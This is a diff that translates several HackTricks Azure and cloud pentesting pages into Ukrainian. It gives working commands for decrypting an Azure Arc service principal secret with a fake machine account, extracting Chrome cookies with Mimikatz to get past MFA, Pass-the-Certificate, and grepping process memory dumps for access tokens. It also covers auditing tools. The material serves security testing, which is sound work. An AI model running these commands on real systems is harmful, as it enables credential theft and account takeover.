каталозі AzureArcDeploy на вказаній спільній папці за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише контролерами домену та групами безпеки комп'ютерів домену, як зазначено в коментарях до скрипту. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Ми маємо наступні умови: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. Ми успішно проникли в внутрішню мережу. +2. У нас є можливість створити або взяти під контроль обліковий запис комп'ютера в Active Directory. +3. Ми виявили мережевий ресурс, що містить каталог AzureArcDeploy. +Існує кілька методів отримання облікового запису машини в середовищі AD. Один з найпоширеніших - це експлуатація квоти облікових записів машин. Інший метод полягає в компрометації облікового запису машини через вразливі ACL або різні інші неправильні налаштування. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Якщо обліковий запис машини отримано, можна автентифікуватися, використовуючи цей обліковий запис. Ми можемо або використовувати команду runas.exe з прапором netonly, або використовувати pass-the-ticket з Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Маючи TGT для нашого облікового запису комп'ютера, ми можемо використати наступний скрипт для розшифрування секрету службового принципала. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Альтернативно, ми можемо використовувати [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). - -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. +На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить такі деталі, як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал. ## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..3831f3db4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -6,21 +6,21 @@ ### Azure CLI (Command-Line Interface) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Токени та чутливі дані зберігаються локально Azure CLI, що викликає занепокоєння щодо безпеки: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Access Tokens**: Зберігаються у відкритому вигляді в `accessTokens.json`, розташованому за адресою `C:\Users\\.Azure`. +2. **Subscription Information**: `azureProfile.json`, у тій же директорії, містить деталі підписки. +3. **Log Files**: Папка `ErrorRecords` у `.azure` може містити журнали з відкритими обліковими даними, такі як: +- Виконані команди з вбудованими обліковими даними. +- URL-адреси, доступ до яких здійснювався за допомогою токенів, що потенційно розкриває чутливу інформацію. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell також зберігає токени та чутливі дані, до яких можна отримати доступ локально: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Access Tokens**: `TokenCache.dat`, розташований за адресою `C:\Users\\.Azure`, зберігає токени доступу у відкритому вигляді. +2. **Service Principal Secrets**: Ці дані зберігаються у незашифрованому вигляді в `AzureRmContext.json`. +3. **Token Saving Feature**: Користувачі мають можливість зберігати токени за допомогою команди `Save-AzContext`, яку слід використовувати обережно, щоб запобігти несанкціонованому доступу. ## Automatic Tools to find them @@ -29,15 +29,11 @@ Azure PowerShell also stores tokens and sensitive data, which can be accessed lo ## Security Recommendations -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Враховуючи зберігання чутливих даних у відкритому вигляді, важливо захистити ці файли та директорії, дотримуючись таких рекомендацій: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Обмежити права доступу до цих файлів. +- Регулярно моніторити та перевіряти ці директорії на наявність несанкціонованого доступу або несподіваних змін. +- Використовувати шифрування для чутливих файлів, де це можливо. +- Освітлювати користувачів про ризики та найкращі практики обробки такої чутливої інформації. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..152e67f7e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Azure AD CA** для потрібного користувача (як суб'єкта), коли обидві машини підтримують механізм аутентифікації **NegoEx**. -In super simplified terms: +У спрощених термінах: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Azure AD для користувача**. +- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням сеансового ключа та контексту безпеки), і **надсилає його до Azure AD**. +- Azure AD перевіряє підпис JWT, використовуючи сеансовий ключ клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +У цьому сценарії, після збору всієї необхідної інформації для атаки [**Pass the PRT**](pass-the-prt.md): -- Username -- Tenant ID +- Ім'я користувача +- Ідентифікатор орендаря - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Контекст безпеки +- Похідний ключ +Можна **запросити P2P сертифікат** для користувача за допомогою інструменту [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Сертифікати будуть діяти так само, як і PRT. Щоб використовувати сертифікат, ви можете скористатися інструментом python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), який **автентифікує** на віддаленій машині, запускає **PSEXEC** і **відкриває CMD** на машині жертви. Це дозволить нам знову використовувати Mimikatz, щоб отримати PRT іншого користувача. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` - ## References -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Для отримання додаткової інформації про те, як працює Pass the Certificate, перегляньте оригінальну публікацію [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..a7964fe45 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## Чому куки? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +Браузерні **куки** є чудовим механізмом для **обходу аутентифікації та MFA**. Оскільки користувач вже аутентифікований в додатку, **сеанс куки** може бути використаний для **доступу до даних** як цей користувач, без необхідності повторної аутентифікації. -You can see where are **browser cookies located** in: +Ви можете побачити, де знаходяться **браузерні куки** в: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Атака -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +Складна частина полягає в тому, що ці **куки зашифровані** для **користувача** через Microsoft Data Protection API (**DPAPI**). Це зашифровано за допомогою криптографічних [ключів, прив'язаних до користувача](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), до яких належать куки. Ви можете знайти більше інформації про це в: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +З Mimikatz в руках, я можу **екстрагувати куки користувача**, навіть якщо вони зашифровані, за допомогою цієї команди: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Для Azure нас цікавлять файли cookie аутентифікації, включаючи **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** та **`ESTSAUTHLIGHT`**. Вони там, оскільки користувач нещодавно був активний в Azure. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. - -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. +Просто перейдіть на login.microsoftonline.com і додайте файл cookie **`ESTSAUTHPERSISTENT`** (згенерований опцією “Залишатися в системі”) або **`ESTSAUTH`**. І ви будете аутентифіковані. ## References - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..ced584c12 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -1,11 +1,7 @@ -# Az - Phishing Primary Refresh Token (Microsoft Entra) +# Az - Фішинг первинного токена оновлення (Microsoft Entra) {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Перевірте:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..048801539 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Перегляньте пост на** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) хоча інший пост, що пояснює те ж саме, можна знайти за посиланням [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..217a5fc91 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Основна інформація** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому тексті в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Кроки: +1. Дамп процесів Excel, синхронізованих з користувачем EntraID, за допомогою вашого улюбленого інструменту. +2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході +3. Знайдіть токени, які вас найбільше цікавлять, і запустіть інструменти над ними: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..7a2cd1d9d 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Щоб розпочати тести, ви повинні мати доступ з користувачем з **правами читача над підпискою** та **глобальною роллю читача в AzureAD**. Якщо навіть у цьому випадку ви **не можете отримати доступ до вмісту облікових записів зберігання**, ви можете виправити це за допомогою **ролі учасника облікового запису зберігання**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..f28d9eb69 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,43 +6,42 @@ ## Basic Methodology -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Кожен хмарний сервіс має свої особливості, але загалом є кілька **загальних речей, які повинен перевірити** пентестер під час тестування хмарного середовища: -- **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** -- **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps -- **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. -- **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- **Перевірки стандартів** +- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси** +- Це також дозволить вам знайти деякі **швидкі неправильні налаштування**, оскільки ви можете виконати більшість цих тестів за допомогою **автоматизованих інструментів** +- **Перерахування сервісів** +- Ви, напевно, не знайдете багато інших неправильних налаштувань тут, якщо ви правильно виконали перевірки стандартів, але ви можете знайти деякі, які не були перевірені під час тестування стандартів. +- Це дозволить вам дізнатися, **що саме використовується** в хмарному середовищі +- Це дуже допоможе на наступних етапах +- **Перевірка відкритих активів** +- Це можна зробити під час попереднього розділу, вам потрібно **виявити все, що потенційно відкрито** в Інтернеті і як до цього можна отримати доступ. +- Тут я маю на увазі **вручну відкриту інфраструктуру**, таку як інстанси з веб-сторінками або інші порти, що відкриті, а також інші **управляємі хмарні сервіси, які можуть бути налаштовані** на відкриття (такі як бази даних або контейнери) +- Потім ви повинні перевірити, **чи може цей ресурс бути відкритим чи ні** (конфіденційна інформація? вразливості? неправильні налаштування в відкритому сервісі?) +- **Перевірка дозволів** +- Тут ви повинні **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються +- Занадто **багато високопривілейованих** (контроль всього) облікових записів? Згенеровані ключі не використовуються?... Більшість цих перевірок вже повинні були бути виконані під час перевірок стандартів +- Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам, можливо, потрібно буде запитати у них додаткову **інформацію** про **те, як призначається кожна роль** (не те ж саме, що роль адміністратора призначена 1 користувачу або 100) +- **Недостатньо знайти**, які користувачі мають **адміністративні** дозволи "\*:\*". Є багато **інших дозволів**, які, залежно від використовуваних сервісів, можуть бути дуже **чутливими**. +- Більше того, є **потенційні шляхи підвищення привілеїв**, які можна використовувати, зловживаючи дозволами. Усі ці речі повинні бути враховані, і **якомога більше шляхів підвищення привілеїв** повинні бути зафіксовані. +- **Перевірка інтеграцій** +- Існує висока ймовірність, що **інтеграції з іншими хмарами або SaaS** використовуються всередині хмарного середовища. +- Для **інтеграцій хмари, яку ви перевіряєте**, з іншою платформою ви повинні повідомити **хто має доступ до (зловживати) цією інтеграцією** і ви повинні запитати **наскільки чутливим** є виконуване діяння.\ +Наприклад, хто може записувати в контейнер AWS, з якого GCP отримує дані (запитайте, наскільки чутливим є це діяння в GCP при обробці цих даних). +- Для **інтеграцій всередині хмари, яку ви перевіряєте**, з зовнішніх платформ, ви повинні запитати **хто має зовнішній доступ до (зловживати) цією інтеграцією** і перевірити, як ці дані використовуються.\ +Наприклад, якщо сервіс використовує Docker-образ, розміщений у GCR, ви повинні запитати, хто має доступ до його модифікації і яку чутливу інформацію та доступ отримає цей образ при виконанні всередині хмари AWS. ## Multi-Cloud tools -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки установки та посилання будуть вказані в цьому розділі. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Інструмент для **виявлення поганих налаштувань і шляхів підвищення привілеїв у хмарах і між хмарами/SaaS.** {{#tabs }} {{#tab name="Install" }} - ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +Він підтримує **AWS, GCP & Azure**. Перевірте, як налаштувати кожного постачальника в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Встановлення" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -125,8 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Встановлення" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,24 +124,21 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} @@ -160,17 +146,14 @@ done {{#tabs }} {{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +Завантажте та встановіть Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Або використовуйте Brew: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Перевірити всі проекти +Щоб перевірити всі проекти, вам потрібно згенерувати файл `gcp.spc`, вказуючи всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Щоб перевірити **інші GCP insights** (корисні для перерахунку сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Щоб перевірити код Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Більше плагінів GCP для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Щоб перевірити код Terraform AWS: 